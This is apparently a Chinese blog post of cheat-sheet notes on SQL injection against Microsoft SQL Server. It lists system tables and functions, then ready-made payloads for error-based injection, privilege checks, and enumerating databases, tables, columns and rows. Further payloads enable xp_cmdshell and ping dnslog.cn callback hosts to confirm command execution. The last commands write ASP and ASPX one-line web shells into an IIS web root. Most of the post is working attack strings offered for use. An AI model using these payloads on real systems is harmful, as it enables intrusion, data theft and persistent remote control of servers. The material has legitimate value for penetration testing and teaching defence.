-
和mysql不同;每个数据库都有自己的信息总结表
-
四个系统数据库
-
master
- sysdatabases :所有数据库信息
- name :所有数据库名
- sysobjects :数据库所有对象的信息
- syscolumns :字段信息
-
固定字段名
- name 对象名
- id 对象id
-
xtype 对象类型代码
- xtype='U' 用户创建的表
- xtype='S' 系统表
- sysdatabases :所有数据库信息
-
model
- sysobjects
- syscolumns
-
msdb
- sysobjects
- syscolumns
-
tempdb
- sysobjects
- syscolumns
-
-
用户自己创建的数据库也会自动携带下面字段
- sysobjects
- syscolumns
-
常用函数
- db_name() :数据库名
- host_name() :主机名
- current_user :返回数据库当前的用户名
- user :用户
- substring() :截取函数;不能用substr()
- @@verison :查看数据库版本
- char() :ascii码转字符
- cast(text as type() :字符类型转换;转化失败就会以text结果显示在页面上
- object_id() :根据表名返回数据库表名id
- object_name() :根据id返回数据库表名
- col_name(object_id,column_id) :返回指定表中指定字段的名称
- col_name(object_id('users'),2)
-
调用表名
- 数据库名.用户名.表名
-
报错注入
- 'or 1=convert(int,@@version)--
- 1-user
- 1/user
- convert(int,user)
- db_name()
-
注入流程
-
判断权限
- 权限:sa 、db_owner 、public
- and 1=(select IS_SRVROLEMEMBER('sysadmin')) --
- and 1=(select IS_SRVROLEMEMBER('serveradmin'));--
- and 1=(select IS_SRVROLEMEMBER('setupadmin'));--
- and 1=(select IS_SRVROLEMEMBER('securityadmin'));--
- and 1=(select IS_SRVROLEMEMBER('diskadmin'));--
- and 1=(select IS_SRVROLEMEMBER('bulkadmin'));--
- and 1=(select IS_MEMBER('db_owner'));-
- 获取当前数据库
- and 1=(select db_name()) --
- 获取当前数据库的表名
- and 1=convert(int,(select quotename(name) from 数据库名..sysobjects where xtype='U' FOR XML PATH(''))) --
- 获取当前数据库中表的所有字段
- and 1=(select quotename(name) from 数据库名..syscolumns where id =(select id from 数据库名..sysobjects where name='指定表名') FOR XML PATH(''))--
- 读取内容
- and 1=(select top 1 * from 指定数据库..指定表名 where排除条件 FOR XML PATH(''))--
-
-
命令执行
- 开启xp_cmdshell,0为关闭,1为开启
- ;EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell',1;RECONFIGURE; --
- 关闭xp_cmdshell
- ;EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell',0;RECONFIGURE; --
-
执行ping判断是否能执行xp_cmdshell和服务器是否通外网
- ;exec master..xp_cmdshell "ping teki6x.dnslog.cn" --
- ;execute('xp_cmdshell ""')
- ;exec xp_cmdshell ' ping%20%25os%25.4mt18t.dnslog.cn '
-
写入一句话木马;需要知道网站根目录
- asp
- ;exec master..xp_cmdshell 'echo ^<%25eval request(1234)%25^> > C:\Inetpub\wwwroot\test.asp' --
- aspx
- ;exec master..xp_cmdshell 'echo ^<%25@ Page Language="Jscript"%25^>^<%25eval(Request.Item["aaa"],"unsafe");%25^> > C:\Inetpub\wwwroot\test.aspx' --
- asp
- 开启xp_cmdshell,0为关闭,1为开启
MSsql数据库 sql注入
I_WORM2024-04-09 20:04
相关推荐
晋阳十二夜6 小时前
【压力测试之_Jmeter链接Oracle数据库链接】GDAL7 小时前
Node.js v22.5+ 官方 SQLite 模块全解析:从入门到实战DCTANT8 小时前
【原创】国产化适配-全量迁移MySQL数据到OpenGauss数据库AI、少年郎10 小时前
Oracle 进阶语法实战:从多维分析到数据清洗的深度应用(第四课)赤橙红的黄10 小时前
自定义线程池-实现任务0丢失的处理策略DataGear11 小时前
如何在DataGear 5.4.1 中快速制作SQL服务端分页的数据表格看板weixin_4383354011 小时前
分布式锁实现方式:基于Redis的分布式锁实现(Spring Boot + Redis)码不停蹄的玄黓11 小时前
MySQL Undo Log 深度解析:事务回滚与MVCC的核心功臣Qdgr_11 小时前
价值实证:数字化转型标杆案例深度解析数据狐(DataFox)11 小时前
SQL参数化查询:防注入与计划缓存的双重优势